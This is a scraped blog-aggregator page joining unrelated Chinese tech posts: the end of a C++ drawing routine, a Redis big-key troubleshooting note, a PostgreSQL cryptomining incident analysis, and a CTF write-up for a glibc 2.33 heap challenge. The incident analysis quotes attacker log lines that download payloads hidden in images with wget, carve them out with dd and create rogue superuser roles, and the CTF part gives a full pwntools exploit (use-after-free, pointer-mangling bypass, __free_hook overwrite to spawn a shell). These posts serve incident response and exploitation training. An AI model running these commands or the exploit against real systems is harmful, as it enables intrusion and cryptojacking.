iPaint(point[0].x,point[0].y,point[1].x,point[1].y);
}

void Des_one_corner()
{
TranstoPhycoor(&point[0].x,&point[0].y);
TranstoPhycoor(&point[1].x,&point[1].y);
TranstoPhycoor(&point[2].x,&point[2].y);
DrawLine(point[0].x,point[0].y,point[1].x,point[1].y);
DrawLine(point[1].x,point[1].y,point[2].x,point[2].y);
Sleep(250);
iPaint(point[0].x,point[0].y,point[1].x,point[1].y);
iPaint(point[1].x,point[1].y,point[2].x,point[2].y);
}

void Des_two_corner()
{
TranstoPhycoor(&point[0].x,&point[0].y);
TranstoPhycoor(&point[1].x,&point[1].y);
TranstoPhycoor(&point[2].x,&point[2].y);
TranstoPhycoor(&point[3].x,&point[3].y);
DrawLine(point[0].x,point[0].y,point[1].x,point[1].y);
DrawLine(point[1].x,point[1].y,point[2].x,point[2].y);
DrawLine(point[2].x,point[2].y,point[3].x,point[3].y);
Sleep(250);
iPaint(point[0].x,point[0].y,point[1].x,point[1].y);
iPaint(point[1].x,point[1].y,point[2].x,point[2].y);
iPaint(point[2].x,point[2].y,point[3].x,point[3].y);
}

void DrawLine (int x1,int y1,int x2,int y2)
{
setlinestyle(PS_SOLID,NULL,3);
setcolor(RGB(90,43,9));
line(x1 + 21,y1 + 24,x2 + 21,y2 + 24);
}

void iPaint (long x1,long y1,long x2,long y2)
{
int minx,miny,maxx,maxy;
if(x1 == x2)
{
maxy = y1 > y2? y1:y2;
miny = y1 < y2? y1:y2;
for(int i = miny; i <= maxy;i += 48)
putimage(x1,i,&image2);
}
else if(y1 == y2)
{
maxx = x1 > x2? x1:x2;
minx = x1 < x2? x1:x2;
for(int j = minx; j <= maxx;j += 42 )
putimage(j,y1,&image2);
} }

/////////////////////////////////////////////////////////////////////////////////

void GridPhy_coor(int& leftx,int& lefty) //转化为标准物理坐标
{
leftx = ((leftx - leftedge) / 42) * 42 + leftedge;
lefty = ((lefty - topedge) / 48) * 48 + topedge;
}

void ExchaVal(GridInfor& pre,GridInfor& cur) //交换格子信息
{
pre.GridID = cur.GridID;
pre.idx = cur.idx;pre.idy = cur.idy;
pre.leftx = cur.leftx;pre.lefty = cur.lefty;
}

void Init_Grid(GridInfor& grid) //初始化格子
{
grid.GridID = 0;
grid.idx = 0; grid.idy = 0;
grid.leftx = 0; grid.lefty = 0;
}

void TranstoPhycoor (int* idx,int* idy) //图纸坐标转变为屏幕坐标
{
int x ,y;x =*idx,y = *idy;
*idy = (y - 1) * 48 + leftedge;
*idx = (x - 1) * 42 + topedge;
}

未完成的部分功能代码,大家也可以自己先去想想试试,每一次的思考就是你进步的过程!

如果学习的过程中有什么问题,以及​本​项目有什么不懂的地方,都可以来找我交流,我来帮你!

那么今天的分享就到这里了,后续会更新更多精彩项目或者知识内容的,大家要好好学C语言C++哟~

写在最后:对于准备学习C/C++编程的小伙伴,如果你想更好​的​提升你的编程核心能力(内功)不妨从现在开始!

微信公众号:C语言编程学习基地

整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

记录一次 Redis 频繁重连的排查 背景 问题描述 问题定

发表于 2021-11-30

背景

监控是系统的重要模块,我们给产线的 Redis 机器配置了全方位的监控,包括机器性能指标测试以及 Redis 服务测试等等。今天收到了 PagerDuty 告警,报告说 Redis 服务间歇性异常。

问题描述

Redis 是一个集群,三主三从,每个节点各配置了一个监控,监控的测试逻辑大致是,用 INFO,CLUSTER SLOTS,CLUSTER NODES 等命令查看节点以及集群的基本信息是否正常,然后给主节点(master) set 一个 dummy key,看是否在规定时间内能同步到从节点(slave)。
报警来自于一台从节点,观察了一下报错信息:

Redis is loading the dataset in memory

问题定位

上述提示可能在以下两种情况出现:

  1. 当主节点启动的时候
  2. 当从节点跟主节点重连进行全量数据同步的时候

也就是说,当数据集(dataset)还未被全部加载进内存中时,如果客户端给 Redis 发送命令,则会收到上述错误提示。考虑到报错的是一台从节点,所以是第二种情况:从节点频繁跟主节点重连。

连上告警的节点,执行 INFO MEMORY,连续几次的关键信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
r复制代码redis> info memory
# Memory
used_memory_human:53.27M
used_memory_peak_human:9.68G
used_memory_peak_perc:0.54%
maxmemory_human:16.00G

redis> info memory
# Memory
used_memory_human:2.19G
used_memory_peak_human:9.68G
used_memory_peak_perc:22.63%
maxmemory_human:16.00G

redis> info memory
# Memory
used_memory_human:4.13G
used_memory_peak_human:9.68G
used_memory_peak_perc:42.69%
maxmemory_human:16.00G

redis> info memory
# Memory
used_memory_human:7.15G
used_memory_peak_human:9.68G
used_memory_peak_perc:73.88%
maxmemory_human:16.00G

redis> info memory
# Memory
used_memory_human:9.50G
used_memory_peak_human:9.68G
used_memory_peak_perc:98.08%
maxmemory_human:16.00G

直观可以看到,节点在持续加载数据直到内存升到 9.5G 左右,过程持续大约一分钟。稳定一小段时间之后,又重复数据加载的过程。

问题排查

首先我们考虑是不是节点所在的物理机有问题,于是用 CLUSTER FAILOVER 强制做了主从切换,观察一段时间发现,原先告警的节点升为主节点之后状态就正常了,而原先正常的主节点变为从节点之后开始告警。说明问题与机器无关,跟主从关系有关。

我们开始将关注点主从复制,有一个细节:Redis 节点的最高内存占用是 9.68G,而按照之前我们的印象应该是 5G 左右,于是我们去查看了 Redis 的内存监控图表:
redis_memory

可以看到,从 23 号开始,目标节点的内存开始出现异常升高,但因为每个节点的内存限制是 16G,所以内存指标并没有报警,反而是服务先出现了异常。
23 号正好是我们上线的日期,所以问题大概率与新功能有关了。查了一下,这次确实新增了一些 Redis 的缓存数据,格式大概是 hash_service_statistic:{serviceId},记录的是 service 的一些统计数据。不过按道理数据会根据 serviceId 不同而被打散,但为什么新增的数据似乎都被分配到同一个节点上了呢?原来产线上的 serviceId 值未被初始化,都是 0,这是一个未开发完全的功能,此次上线的只是数据聚合的部分。所以图中显示的增长的大约 5G 数据,其实都是来自于同一个 key hash_service_statistic:0,妥妥的 Big Key 了。

由于 key 太大,导致了对应节点数据复制缓慢,在 TPS 较高的情况下,从节点间断性重连,并且因为数据落后主节点过多会进行全量数据同步(默认的 repl-backlog-size 是 1MB),导致出现 Redis is loading the dataset in memory。

问题解决

将 Big Key 删除,然后将 serviceId 初始化一遍。

1
2
3
4
r复制代码redis> del hash_service_statistic:0
-> Redirected to slot [7924] located at *.*.*.*:7001
(integer) 1
(43.94s)

key 的删除都花了 43.94 秒…

总结

又是一个深刻的教训:线上出问题,很多时候与新上的 feature 有关。
用 Redis Cluster 做缓存时要谨防 Big Key 的出现,尽量将 Key 打散在各个节点中。
产线的服务需要配置好全方位的监控,合理的监控可以在真正严重的问题出现之前就给予告警。

参考

ERROR: LOADING Redis is loading the dataset in memory

Redis Replication

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

记一次 postgreSQL 斯嘉丽约翰逊注入攻击排查

发表于 2021-11-30

背景

近期有朋友遇到服务器被当矿机的情况,想起之前我也遇到过类似的 case, 是服务器上的 postgre 数据库被注入斯嘉丽约翰逊图片攻击了,重新翻出这篇文章分享当时被攻击后的排查心得。

今天下午(2018.08.11)连续收到了腾讯云我的服务器 CPU overload 报警

CPU Overload.png

登录服务器一看, 有个 postgres user 跑的进程 ./Ac2p018-0 把 CPU 占满了,进程名及运行信息尤其奇怪, 肯定不是运行 postgre 数据库衍生的进程。

Htop info

排查

首先并没有怀疑是被当矿机了,想先排查下这个进程究竟是什么玩意儿。

于是根据 top 命令中的 pid 到 proc 目录下查询进程详细信息,看到 /proc/20619/stack 下看到有一长串的
[<ffffffff81841ff2>] entry_SYSCALL_64_fastpath+0x16/0x71
似乎短时间里发起大量的系统调用(prepare)并且还在不断增长。

接着 cat /proc/20619/cmdline 发现该进程执行的命令是 /var/lib/postgresql/9.5/main/Ac2p018-0 这个坏家伙,查看发现这是个二进制文件,看不出问题,猜测和 postgresql 数据库有关,看起来不像是什么数据库维护脚本,第一反应是被数据库攻击了,于是查看 /var/lib/postgresql/.bash_history 和 /var/lib/postgresql/.psql_history 试图看看是否有被登录服务器手动执行命令的痕迹,发现一条记录都没,显然是被手动清空了,更加确定是被 hack 了。

担心已经被拿到 root 权限了,于是通过 lastlog 和 last 查看登录状态,所幸之前的 root 账户的 ip 都是我自己的,只有 postgres 这个账户看起来有异常。

虽然松了一口气,但通常黑客会习惯在黑入服务器后运行个逆向 shell 便于更方便地登录服务器进行后续操作,于是执行 netsta -nlp 查看是否异常端口处于监听状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
shell复制代码ubuntu@VM-187-130-ubuntu:~$ netstat -nlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8088 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::8086 :::* LISTEN -
tcp6 0 0 :::5432 :::* LISTEN -
tcp6 0 0 :::25 :::* LISTEN -
tcp6 0 0 :::8000 :::* LISTEN -
udp 0 0 10.141.187.130:123 0.0.0.0:* -
udp 0 0 127.0.0.1:123 0.0.0.0:* -
udp 0 0 0.0.0.0:123 0.0.0.0:* -
udp6 0 0 :::123 :::* -
Active UNIX domain sockets (only servers)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 13116 - /var/lib/lxd/unix.socket
unix 2 [ ACC ] STREAM LISTENING 2865755417 27056/systemd /run/user/500/systemd/private
unix 2 [ ACC ] SEQPACKET LISTENING 9722 - /run/udev/control
unix 2 [ ACC ] STREAM LISTENING 19759 - /run/docker/libnetwork/e1b89d6cc808988f4fc021f7f162718968e2759cff24c59edb04804b61133503.sock

未观察到异常, 由此确认目前服务器暂时安全,开始深入挖掘这次被黑原因。

由于看到是 postgre 用户执行的异常进程,可能是通过数据库某些漏洞导致可以反向执行命令到服务器中执行程序,那么一定会有相关日志。于是接着到 /var/lib/postgresql/9.5/main/pg_log 下查看数据库日志,抓到了几个奇怪的地方:

  1. 有一个长连接持续从 http://aluka.info/x6 下载文件,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
yaml复制代码5144 --2018-08-11 15:47:30--  http://aluka.info/x6
5145 Resolving aluka.info (aluka.info)... 103.27.110.206
5146 Connecting to aluka.info (aluka.info)|103.27.110.206|:80... connected.
5147 HTTP request sent, awaiting response... 200 OK
5148 Length: 2758655 (2.6M)
5149 Saving to: ‘xmm’
5150
5151 0K .......... .......... .......... .......... .......... 1% 399K 7s
5152 50K .......... .......... .......... .......... .......... 3% 601K 5s
5153 100K .......... .......... .......... .......... .......... 5% 592K 5s
5154 150K .......... .......... .......... .......... .......... 7% 1.69M 4s
5155 200K .......... .......... .......... .......... .......... 9% 754K 4s
5156 250K .......... .......... .......... .......... .......... 11% 422K 4s
5157 300K .......... .......... .......... .......... .......... 12% 405K 4s
5158 350K .......... .......... .......... .......... .......... 14% 179K 5s
5159 400K .......... .......... .......... .......... .......... 16% 81.1K 8s
5160 450K .......... .......... .......... .......... .......... 18% 35.1K 13s
5161 500K .......... .......... .......... .......... .......... 20% 117K 13s
5162 550K .......... .......... .......... .......... .......... 22% 86.3K 14s
5163 600K .......... .......... .......... .......... .......... 24% 122K 14s
5164 650K .......... .......... .......... .......... .......... 25% 169K 13s
5165 700K .......... .......... .......... .......... .......... 27% 171K 13s
5166 750K .......... .......... .......... .......... .......... 29% 93.8K 13s
5167 800K .......... .......... .......... .......... .......... 31% 94.9K 13s
5168 850K .......... .......... .......... .......... .......... 33% 101K 13s
5169 900K .......... .......... .......... .......... .......... 35% 53.6K 14s
5170 950K .......... .......... .......... .......... .......... 37% 94.3K 14s
5171 1000K .......... .......... .......... .......... .......... 38% 77.0K 13s
5172 1050K .......... .......... .......... .......... .......... 40% 73.6K 13s
5173 1100K .......... .......... .......... .......... .......... 42% 97.2K 13s
5174 1150K .......... .......... .......... .......... .......... 44% 130K 13s
5175 1200K .......... .......... .......... .......... .......... 46% 194K 12s
5176 1250K .......... .......... .......... .......... .......... 48% 173K 12s
5177 1300K .......... .......... .......... .......... .......... 50% 109K 11s
5178 1350K .......... .......... .......... .......... .......... 51% 82.9K 11s
5179 1400K .......... .......... .......... .......... .......... 53% 134K 10s
5180 1450K .......... .......... .......... .......... .......... 55% 106K 10s
5181 1500K .......... .......... .......... .......... .......... 57% 188K 10s
5182 1550K .......... .......... .......... .......... .......... 59% 51.4K 9s
5183 1600K .......... .......... .......... .......... .......... 61% 54.6K 9s
5184 1650K .......... .......... .......... .......... .......... 63% 86.8K 9s
5185 1700K .......... .......... .......... .......... .......... 64% 160K 8s
5186 1750K .......... .......... .......... .......... .......... 66% 97.9K 8s
5187 1800K .......... .......... .......... .......... .......... 68% 153K 8s
5188 1850K .......... .......... .......... .......... .......... 70% 127K 7s
5189 1900K .......... .......... .......... .......... .......... 72% 117K 7s
5190 1950K .......... .......... .......... .......... .......... 74% 63.8K 6s
5191 2000K .......... .......... .......... .......... .......... 76% 119K 6s
5192 2050K .......... .......... .......... .......... .......... 77% 67.1K 5s
5193 2100K .......... .......... .......... .......... .......... 79% 98.0K 5s
5194 2150K .......... .......... .......... .......... .......... 81% 127K 5s
5195 2200K .......... .......... .......... .......... .......... 83% 105K 4s
5196 2250K .......... .......... .......... .......... .......... 85% 99.6K 4s
5197 2300K .......... .......... .......... .......... .......... 87% 76.9K 3s
5198 2350K .......... .......... .......... .......... .......... 89% 162K 3s
5199 2400K .......... .......... .......... .......... .......... 90% 153K 2s
5200 2450K .......... .......... .......... .......... .......... 92% 239K 2s
5201 2500K .......... .......... .......... .......... .......... 94% 160K 1s
5202 2550K .......... .......... .......... .......... .......... 96% 191K 1s
5203 2600K .......... .......... .......... .......... .......... 98% 118K 0s
5204 2650K .......... .......... .......... .......... ... 100% 82.4K=24s
5205
5206 2018-08-11 15:47:54 (111 KB/s) - ‘xmm’ saved [2758655/2758655]
5207
  1. 发现更早的日志里,有两个连接从 img1.imagehousing.com 下载了两张图片, 并成功设置了 777 权限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
erlang复制代码 23 Resolving img1.imagehousing.com (img1.imagehousing.com)... 104.27.180.36, 104.27.181.36, 2400:cb00:2048:1::681b:b524, ...
24 Connecting to img1.imagehousing.com (img1.imagehousing.com)|104.27.180.36|:80... connected.
25 HTTP request sent, awaiting response... 200 OK
26 Length: 1571 (1.5K) [image/png]
27 Saving to: ‘./conf1.dat’
28
29 0K . 100% 368M=0s
30
31 2018-08-05 12:54:26 (368 MB/s) - ‘./conf1.dat’ saved [1571/1571]
32
33 896+0 records in
34 896+0 records out
35 896 bytes copied, 0.000933778 s, 960 kB/s
36 chmod: cannot access './x4064410502': No such file or directory
37 2018-08-05 12:54:26 CST [24806-14] pgsql@postgres LOG: duration: 810.107 ms statement: select fun6404402637 ('wget -c http://img1.imagehousing.com/0/baby-942650.png -O ./conf1.dat;dd skip=675 bs=1 if=./conf1.dat of=config.json ;rm -f ./conf1#
38 --2018-08-05 12:54:27-- http://img1.imagehousing.com/0/cat-497532.png
39 Resolving img1.imagehousing.com (img1.imagehousing.com)... 104.27.180.36, 104.27.181.36, 2400:cb00:2048:1::681b:b424, ...
40 Connecting to img1.imagehousing.com (img1.imagehousing.com)|104.27.180.36|:80... connected.
41 HTTP request sent, awaiting response... 200 OK
42 Length: 840464 (821K) [image/png]
43 Saving to: ‘ifzsvasg.jpg’
44
45 0K .......... .......... .......... .......... .......... 6% 81.3K 9s
46 50K .......... .......... .......... .......... .......... 12% 153K 7s
47 100K .......... .......... .......... .......... .......... 18% 86.2K 7s
48 150K .......... .......... .......... .......... .......... 24% 635K 5s
49 200K .......... .......... .......... .......... .......... 30% 138K 4s
50 250K .......... .......... .......... .......... .......... 36% 139K 4s
51 300K .......... .......... .......... .......... .......... 42% 146K 4s
52 350K .......... .......... .......... .......... .......... 48% 176K 3s
53 400K .......... .......... .......... .......... .......... 54% 194K 3s
54 450K .......... .......... .......... .......... .......... 60% 189K 2s
55 500K .......... .......... .......... .......... .......... 67% 179K 2s
56 550K .......... .......... .......... .......... .......... 73% 178K 1s
57 600K .......... .......... .......... .......... .......... 79% 187K 1s
58 650K .......... .......... .......... .......... .......... 85% 191K 1s
59 700K .......... .......... .......... .......... .......... 91% 132K 0s
60 750K .......... .......... .......... .......... .......... 97% 202K 0s
61 800K .......... .......... 100% 141K=5.3s
62
63 2018-08-05 12:54:33 (154 KB/s) - ‘ifzsvasg.jpg’ saved [840464/840464]
...

看起来通过 postgre 端口执行了远程下载指令。不禁很好奇是怎么做到的,但是又不敢把这两张图片直接 scp 到本地,于是起了个静态文件 serve 看了下这两张图片表面上看起来竟然是斯嘉丽约翰逊的照片!

Scarlett Johansson

那么为啥要下这张图片呢,又是怎么通过这张图片到我的服务器中执行命令的呢?

印象里面 jpg/jpeg 图片似乎有种隐写 payload 的方法,早年间作为葫芦娃种子来传播,网上查到 metaspolit 的这个组件似乎可以实现。同时也找到了这个工具 strgdetext 用来提取图片中的隐写数据,可惜提取出来后仍是一段看不懂二进制码,于是思路阻塞住了。

想到既然需要提取 payload, 那么数据库日志里肯定也有相应代码来做这一步,于是重新翻了下日志,果不其然,发现了真正攻击的这一步在这儿

1
2
3
4
5
6
7
8
less复制代码 68 2018-08-05 12:54:34 CST [24806-15] pgsql@postgres LOG:  duration: 6705.657 ms  statement: select fun6404402637('wget  -c   http://img1.imagehousing.com/0/cat-497532.png -O ifzsvasg.jpg;dd  skip=20656  bs=1  if=./ifzsvasg.jpg  of=x4064410502;rm -f ./i#
69 2018-08-05 12:54:34 CST [24845-1] postgres@postgres FATAL: password authentication failed for user "postgres"
70 2018-08-05 12:54:34 CST [24845-2] postgres@postgres DETAIL: Connection matched pg_hba.conf line 101: "host all all 0.0.0.0/0 md5"
71 2018-08-05 12:54:35 CST [24806-16] pgsql@postgres ERROR: role "login" already exists
72 2018-08-05 12:54:35 CST [24806-17] pgsql@postgres STATEMENT: CREATE ROLE LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE REPLICATION VALID UNTIL 'infinity';
73 2018-08-05 12:54:36 CST [24806-18] pgsql@postgres ERROR: role "login" already exists
74 2018-08-05 12:54:36 CST [24806-19] pgsql@postgres STATEMENT: CREATE ROLE LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE VALID UNTIL 'infinity';
75 2018-08-05 12:54:36 CST [24806-21] pgsql@postgres STATEMENT: CREATE ROLE pgsql LOGIN ENCRYPTED PASSWORD 'md56413b16b3d0861a1d2538e8d5a5eb39c' SUPERUSER CREATEDB CREATEROLE VALID UNTIL 'infinity';

我们简单分析下这段日志,

看到其通过 select tmp_function(cmd) 的方式 执行了以下操作

1
rust复制代码下载图片 --> 提取 paylod --> 设置权限 --> 删除图片 --> 通过 payload 里的自定义代码重建了 pgsql 数据库账户 --> 拿到数据库 root 权限

最终打了这一套组合拳,漂亮!

排查到问题之后,赶紧清空了相关文件和 dbuser,设置了 postgres superuser 仅能通过本地连接的设置,禁掉了 superuser 网络连接, 至此 postgre 用户就不再能通过远程访问来执行命令了, 接着再确认下服务器其他进程, 发现没有异常, 终于长舒一口气。

回想起来,看看是否有其他人也遇到了「斯嘉丽攻击」, 一查发现果然不只我一人中招,不过看了下 exploit db 里还没记录这个漏洞,对比了下时间,似乎是18年初才兴起的。

  • 通过Scarlett Johansson的照片令Postgre数据库开启门罗币挖矿之旅
  • 斯嘉丽门罗币攻击

这下就弄明白了, 之前建的长连接原来是在挖矿, 自己也中招被当成矿机了。

反思

这次主要的原因是 postgres 配置权限时偷懒导致服务器变成挖矿僵尸。

  1. postgres pg_hba.conf 里的用户认证 method 应改成 md5 方式
  2. 数据库 superuser 只配置只能 local 访问禁止远程访问
  3. 腾讯云安全组里数据库端口 outbound 应尽量限制 ip 段

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

glibc前沿版本233下的堆任意地址申请 前言 前置知识

发表于 2021-11-30

作者:H.R.P

前言

今天(2021.11.28)NCTF的题目让我大开眼界,上来最低利用版本都是2.31,新生都如此生猛了吗,由于我比较菜只搞定了这个ezheap,2.33版本的题目我也是第一次做,花了1个小时fuzz出了这个玩意是异或加密然后又花了30多分钟去理顺逻辑,算是收获满满吧

由于这个2.33的利用我在网上并没有看见有文章发布,我就写一下供各位pwn学习参考。

前置知识

UAF,异或加密,hook利用

版本新增保护介绍

2.33版本的glibc不同于以往,对于堆块地址的释放之后,对于同一大小的fastbin以及tcache有效的fd永远只有一个,剩余的bin照旧。

对于2.33版本下对于fastbin以及tcache的fd指针会被进行异或操作加密,用来异或的值随堆地址发生改变。

举例利用

例题:NCTF2021 ezheap

漏洞分析

如下存在UAF漏洞,对于heap的size位置零,但是指针未置零,可以造成堆复用

tips:可以利用glibc-all-in-one配合patchelf来建立题目的运行环境

命令如下

1
css复制代码patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 ezheap

再说点骚操作,题目一般只给libc没有ld,可以直接把all in one的libc替换成题目给的,然后再去patchelf就可以使用上题目的libc了

image

低于2.33常规思路攻击

通常的思路就是先free一次但是heaparry指针保留,再申请回来就有一个新的指针指向同一个地址,直接uaf任意地址申请,attack free hook 梭哈getshell

2.33绕过方法

First 堆地址的泄露

首先申请两个chunk,然后直接free掉,此时这两个堆的fd位置的内容如下

1
2
3
4
5
6
7
8
9
10
11
c复制代码0x5569374d8290:	0x0000000000000000	0x0000000000000091
0x5569374d82a0: 0x00000005569374d8 0x00005569374d8010
0x5569374d82b0: 0x0000000000000000 0x0000000000000000
0x5569374d82c0: 0x0000000000000000 0x0000000000000000
0x5569374d82d0: 0x0000000000000000 0x0000000000000000
0x5569374d82e0: 0x0000000000000000 0x0000000000000000
0x5569374d82f0: 0x0000000000000000 0x0000000000000000
0x5569374d8300: 0x0000000000000000 0x0000000000000000
0x5569374d8310: 0x0000000000000000 0x0000000000000000
0x5569374d8320: 0x0000000000000000 0x0000000000000091
0x5569374d8330: 0x0000556c61def678 0x00005569374d8010

由于UAF漏洞的存在,直接泄露出chunk0和chunk1的fd,然后进行异或操作我们可以得到 heap:0x5569374d82a0

也就是此时chunk0的content addr,这个地址我们先记录下来

(由于我脚本是分多次启动打断点调试,数据不是同一批,具体可以自己去用脚本去调试)

Second 获取某个堆块的对应的异或key值

我们继续进行,假设我们已经填充好了tcache并且释放了一个chunk进入了unsortedbin,目前的heap如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
c复制代码pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5290
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5320
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb53b0
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5440
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb54d0
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5560
Size: 0x91

Free chunk (tcache) | PREV_INUSE
Addr: 0x5650e8eb55f0
Size: 0x91
fd: 0x56558de5dbc5

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5650e8eb5680
Size: 0x91
fd: 0x7f95da868c00
bk: 0x7f95da868c00

Allocated chunk
Addr: 0x5650e8eb5710
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5650e8eb57a0
Size: 0x20861

bin状态如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c复制代码pwndbg> bin
tcachebins
0x90 [ 7]: 0x5650e8eb5600 ◂— 0x56558de5dbc5
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5650e8eb5680 —▸ 0x7f95da868c00 (main_arena+96) ◂— 0x5650e8eb5680
smallbins
empty
largebins
empty

此时用第一步方法得到的堆地址是 0x5650e8eb52a0

然后为了形成堆复用,我们会再去add一个0x90的chunk,此时的heaparry如下

1
2
3
4
5
6
c复制代码pwndbg> x/32gx 0x40a0+0x5650e8348000
0x5650e834c0a0: 0x00005650e8eb52a0 0x00005650e8eb5330
0x5650e834c0b0: 0x00005650e8eb53c0 0x00005650e8eb5450
0x5650e834c0c0: 0x00005650e8eb54e0 0x00005650e8eb5570
0x5650e834c0d0: 0x00005650e8eb5600 0x00005650e8eb5690
0x5650e834c0e0: 0x00005650e8eb5720 0x00005650e8eb5600

接着我们可以看下当前的bin情况如下

1
2
3
c复制代码pwndbg> bin
tcachebins
0x90 [ 6]: 0x5650e8eb5570 ◂— 0x56558de5da55

我们刚才泄露的地址是 0x5650e8eb52a0 现在tc最新的地址是 0x5650e8eb5570

我们现在可以得到key值就是key=0x5650e8eb5570^0x5650e8eb52a0=0x5650e8f25

上面我也提到了这个key是变化的,因此我们还要爆破下,但是爆破是可以找到范围的,我们可以利用常规的错误打法

先看看泄露的key和需要的key的一个偏移(很好玩的是这个偏移也是随机的)

我们再来一次之前的操作然后得到的最新的泄露key是0x5612a9a54

我们看看错误的bin如下

1
2
3
python复制代码pwndbg> bin
tcachebins
0x90 [ 6]: 0x7f8b1b63e5e4

正确的free hook地址:0x7f8e7a497e20

libc_key=0x7f8e7a497e20^0x7f8b1b63e5e4=0x5612a9bc4

hex(0x5612a9bc4-0x5612a9a54)=0x170

我试了很多次的调试,libc_key有0x170,-0x170,0x190,-0x190当然实际情况实际调试,只要调试出来的值就是有可能的偏移

最后把free_hook^libc_key=encrypto_free_hook 然后常规套路直接getshell

image

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
python复制代码from pwn import *
r=process('./ezheap')
#r=remote('129.211.173.64',10002)
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('libc-2.33.so')
#context.log_level='debug'
def add(size,con):
r.sendlineafter(">> ",'1')
r.sendlineafter("Size: ",str(size))
r.sendlineafter("Content: ",con)

def edit(idx,con):
r.sendlineafter(">> ",'2')
r.sendlineafter("Index: ",str(idx))
r.sendafter("Content: ",con)

def show(idx):
r.sendlineafter(">> ",'4')
r.sendlineafter("Index: ",str(idx))

def dele(idx):
r.sendlineafter(">> ",'3')
r.sendlineafter("Index: ",str(idx))
flag=1
while flag:
#r=process('./ezheap')
r=remote('129.211.173.64',10002)
for i in range(9):
add(128,'1')
dele(0)
show(0)
he0=u64(r.recv(6)+b'\x00'*2)
print(hex(he0))
dele(1)
show(1)
he1=u64(r.recv(6)+b'\x00'*2)
print(hex(he1))
heap=he0^he1
print("heap:"+hex(heap))
#gdb.attach(r)
for i in range(2,8):
dele(i)
show(5)
he=u64(r.recv(6)+b'\x00'*2)
print(hex(he))
show(6)
he6=u64(r.recv(6)+b'\x00'*2)
print(hex(he6))
show(7)
base=u64(r.recv(6)+b'\x00'*2)-0x1e0c00
print(hex(base))
#gdb.attach(r)
free_hook=base+libc.sym["__free_hook"]
print(hex(free_hook))
sys=base+libc.sym['system']
add(128,'')
tagerheap=heap+0x2d0
print("target heap:"+hex(tagerheap))
tagerheap_key=tagerheap^he
print("target heap_key:"+hex(tagerheap_key))
libc_key=tagerheap_key+0x170
print("target libc_key:"+hex(libc_key))
#gdb.attach(r)
dele(6)
edit(9,p64(free_hook^libc_key)+b'\n')
add(128,'/bin/sh\x00')
add(128,'1')
edit(11,p64(sys)+b'\n')
#gdb.attach(r)
dele(6)
r.sendline("ls")
a=r.recv()
if b'bin' in a:
r.interactive()
print(a)
flag=0
else:
r.close()

题目附件下载链接

链接:pan.baidu.com/s/1YKqJOuGZ…
提取码:urk1

说明

关于合天网安实验室

合天网安实验室(www.hetianlab.com)-国内领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全 ; 实验内容涵盖:系统安全,软件安全,网络安全,Web安全,移动安全,CTF,取证分析,渗透测试,网安意识教育等。

相关实验练习

CTF-PWN练习之执行Shellcode

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Nginx代理缓存机制

发表于 2021-11-30

